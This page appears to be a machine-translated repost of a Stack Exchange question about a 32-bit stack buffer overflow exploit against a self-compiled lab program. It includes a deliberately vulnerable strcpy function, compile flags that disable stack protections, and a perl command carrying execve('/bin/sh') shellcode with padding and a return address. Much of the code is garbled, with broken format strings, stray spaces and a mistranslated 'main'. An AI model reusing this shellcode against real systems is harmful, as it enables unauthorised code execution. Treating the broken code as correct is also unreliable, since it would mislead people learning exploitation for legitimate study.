You need to enable JavaScript to run this app. 栈溢出利用时如何获取name缓冲区地址或ESP执行shellcode
优惠活动
大模型
产品
解决方案
定价
更多

栈溢出利用时如何获取name缓冲区地址或ESP执行shellcode

栈溢出利用中获取目标缓冲区地址的问题

当前尝试通过shellcode获取目标程序的执行控制权,目标程序的源码如下:

#include <string.h>
#include <stdio.h>
void func (char * arg)
{
        char name [32];
        strcpy (name, arg);
        printf ("\ nHello% s \ n \ n", name);
}
int main (int argc, char * argv [])
{
        if (argc! = 2) {
                printf ("Usage: %s NAME\ n", argv[0]);
                exit (0);
                }
        func (argv [1]);
        printf ("End of program \ n \ n");
        return 0;
}

当前测试进展

  • 经测试,向程序传入40个'A'时会触发段错误,此时EIP寄存器已被成功覆盖
  • 准备使用的shellcode长度为23字节,因此计划后续填充17个'A'凑满偏移构造利用链,但核心阻塞问题是需要获取name缓冲区的起始地址,才能让shellcode跳转到对应位置执行
  • 原本判断当前栈上仅有name这一个局部变量,认为获取ESP(栈顶指针)的地址即可匹配到shellcode所在位置,因此编写了一个独立测试程序用来读取ESP的近似地址,该测试程序的源码如下:
#include <stdio.h>
unsigned long get_sp (void) {
    __asm __ ("movl% esp,% eax");
}
leading void () {
    printf ("0x% x \ n", get_sp ());
}

遇到的问题

执行构造完成的利用命令时始终触发段错误,使用的利用命令格式如下:

./my_program `perl -e 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."A"x17."ESP address"'`

目标程序的编译参数如下,编译时已关闭所有常见的栈防护机制:

gcc -fno-stack-protector -D_FORTIFY_SOURCE = 0 -z norelro -z execstack my_program.c -o my_program

核心疑问

如何获取name缓冲区的起始地址,或拿到可直接用于利用跳转的对应ESP地址,以完成该栈溢出利用?


内容的提问来源于stack exchange,提问作者piramide

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.29 23:24:03